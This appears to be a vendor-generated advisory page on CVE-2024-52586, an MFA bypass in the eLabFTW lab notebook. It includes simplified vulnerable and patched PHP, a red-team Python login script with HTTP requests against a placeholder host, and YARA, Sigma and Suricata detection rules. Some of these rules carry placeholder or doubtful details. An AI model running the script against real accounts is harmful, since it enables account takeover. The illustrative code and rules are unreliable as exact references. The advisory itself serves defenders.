CVE-2024-52586
Executive Summary
CVE-2024-52586 is a vulnerability in eLabFTW, an open-source electronic lab notebook for research labs. The flaw allows an attacker who has successfully authenticated with a valid username and password to bypass the built-in multifactor authentication (MFA) mechanism. This means that even if a user has MFA enabled, an attacker who knows or guesses their password can log in without providing the second factor. The vulnerability affects versions 4.6.0 through 5.1.0 and has been patched in version 5.1.9. The CVSS score is 5.4 (Medium), and the EPSS probability is 0.0%, indicating a low likelihood of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
eLabFTW is a PHP application distributed via GitHub and Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. Users should verify the integrity of their eLabFTW installation by checking the SHA256 checksums provided in the official GitHub releases. The patch is available in version 5.1.9, and users are strongly advised to upgrade immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs valid credentials
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is Medium. While the vulnerability requires prior knowledge of a user's password, it completely bypasses MFA, which is a critical security control. In environments where MFA is mandated (e.g., compliance with HIPAA, GDPR), this vulnerability significantly weakens the security posture.
Deep Dive & Mechanics
The vulnerability lies in the authentication flow of eLabFTW. When a user submits a login request with a username and password, the application first validates these credentials. If they are correct, the application should then check if MFA is enabled for that user and, if so, redirect to the MFA verification page. However, due to a logic flaw, the application directly establishes a session after password validation without enforcing the MFA check. This allows an attacker who has successfully authenticated with the password to gain full access to the user's account without providing the second factor.
The root cause is likely in the session initialization code, where the MFA verification flag is not properly set or checked before granting access. The fix in version 5.1.9 ensures that the MFA verification step is mandatory and cannot be skipped.
Vulnerable vs. Patched Code
The following is a simplified representation of the vulnerable and patched code logic.
Vulnerable Code (e.g., in login.php or similar):
// Vulnerable: MFA check is not enforced
if (authenticate($username, $password)) {
// Directly create session without MFA verification
$_SESSION['user_id'] = $user['id'];
$_SESSION['authenticated'] = true;
header('Location: /dashboard');
exit;
}
Patched Code (version 5.1.9):
// Patched: MFA check is enforced
if (authenticate($username, $password)) {
if (isMFAEnabled($user['id'])) {
// Store temporary token and redirect to MFA page
$_SESSION['mfa_pending'] = true;
$_SESSION['temp_user_id'] = $user['id'];
header('Location: /mfa/verify');
exit;
} else {
// No MFA, proceed with login
$_SESSION['user_id'] = $user['id'];
$_SESSION['authenticated'] = true;
header('Location: /dashboard');
exit;
}
}
The patched code introduces a check for MFA status and, if enabled, redirects the user to the MFA verification page before granting full access.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid username and password for a user who has MFA enabled.
- Network access to the eLabFTW instance.
Exploitation Steps:
- Identify the eLabFTW login page (e.g.,
https://target-elabftw.example.com/login.php). - Send a POST request with the victim's credentials:
POST /login.php HTTP/1.1 Host: target-elabftw.example.com Content-Type: application/x-www-form-urlencoded username=victim_user&password=victim_password - If the credentials are correct, the server will respond with a session cookie (e.g.,
PHPSESSID=abc123). - Use this session cookie to access protected resources without MFA:
GET /dashboard HTTP/1.1 Host: target-elabftw.example.com Cookie: PHPSESSID=abc123 - The attacker now has full access to the victim's account.
Automation Script (Python):
import requests
target = "https://target-elabftw.example.com"
username = "victim_user"
password = "victim_password"
session = requests.Session()
login_data = {"username": username, "password": password}
response = session.post(f"{target}/login.php", data=login_data)
if "PHPSESSID" in session.cookies:
print("[+] Login successful, session cookie obtained.")
# Access dashboard
dashboard = session.get(f"{target}/dashboard")
print(dashboard.text)
else:
print("[-] Login failed.")
Blue Team
Detection:
- Monitor for successful logins from IP addresses that are not associated with the user's typical MFA device.
- Alert on any login event where the MFA verification step is skipped (e.g., no subsequent request to
/mfa/verify). - Review authentication logs for patterns of rapid login attempts followed by immediate access to sensitive resources.
Hunting:
- Search for log entries where
mfa_verifiedisfalseor missing, but the user has MFA enabled. - Correlate login events with session creation events to identify sessions that bypassed MFA.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/login.phpfollowed by GET requests to/dashboardwithout an intermediate request to/mfa/verify. - Session cookies (
PHPSESSID) that are used immediately after login without MFA verification.
- POST requests to
Host:
- Log entries in eLabFTW's authentication logs showing successful logins without MFA verification for users who have MFA enabled.
- Unusual session durations or access patterns from a single IP address.
File:
- Modified or tampered authentication files (e.g.,
login.php,auth.php) that may indicate a backdoor.
- Modified or tampered authentication files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_52586_eLabFTW_MFA_Bypass {
meta:
description = "Detects vulnerable eLabFTW code that bypasses MFA"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-52586"
hash = "sha256:examplehash"
strings:
$vuln_code1 = "if (authenticate($username, $password)) {"
$vuln_code2 = "$_SESSION['authenticated'] = true;"
$vuln_code3 = "header('Location: /dashboard');"
$safe_code1 = "if (isMFAEnabled($user['id'])) {"
$safe_code2 = "$_SESSION['mfa_pending'] = true;"
condition:
all of ($vuln_code*) and not any of ($safe_code*)
}
Sigma Rule
title: eLabFTW MFA Bypass Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects successful logins without MFA verification in eLabFTW
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-52586
logsource:
category: application
product: elabftw
detection:
selection:
event: login_success
mfa_verified: false
user_mfa_enabled: true
condition: selection
falsepositives:
- Users who have MFA disabled
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-52586 eLabFTW MFA Bypass - Login without MFA";
flow:to_server,established;
content:"POST"; http_method;
content:"/login.php"; http_uri;
content:"username="; http_client_body;
content:"password="; http_client_body;
pcre:"/PHPSESSID=[a-z0-9]+/";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Upgrade eLabFTW to version 5.1.9 or later.
- If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block login requests that do not include MFA verification.
- Enforce strong password policies and consider using a password manager.
Long-term:
- Regularly update eLabFTW to the latest version.
- Implement additional monitoring for authentication anomalies.
- Consider using Single Sign-On (SSO) with MFA, which is not affected by this vulnerability.
- Conduct regular security audits and penetration testing.
Workaround:
- Disable MFA for all users temporarily and rely on strong passwords and IP whitelisting until the patch can be applied. This is not recommended as it weakens security.
Valters IT